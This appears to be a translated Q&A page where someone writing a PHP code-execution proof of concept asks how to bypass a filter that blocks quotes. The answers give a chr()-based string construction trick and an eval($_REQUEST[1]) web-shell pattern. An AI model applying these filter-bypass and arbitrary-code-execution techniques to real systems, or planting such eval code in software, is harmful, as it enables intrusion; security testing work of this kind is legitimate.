php代码执行没有引号

时间:2015-02-20 10:25:13

标签: php security

我正在写一个PHP代码执行漏洞的POC,但我有一个我无法绕过的过滤器,只是我可以执行任何功能而不使用引号" ' `。 我尝试执行一些代码,例如dirscan(getcwd())phpinfo(),但它确实有效 但是我找不到任何用它来编码和解码数字的函数 使用字符串或任何其他方式来使用$_REQUEST$_SERVER vars

有旧的base64_decode,但它也需要引用。

所以想要执行我想要的任何代码吗?

2 个答案:

答案 0 :(得分:0)

以下代码可以生成不使用任何引号的字符串:

$array = [ 0x48, 0x45, 0x4c, 0x4c, 0x4f ];

$string = array_reduce($array, function ($a, $b) { return $a . chr($b); });

echo $string; // Prints "HELLO"

答案 1 :(得分:0)

使用带有输入的表单:

<input type=text name=1>

然后PHP脚本可以执行:

eval($_REQUEST[1]);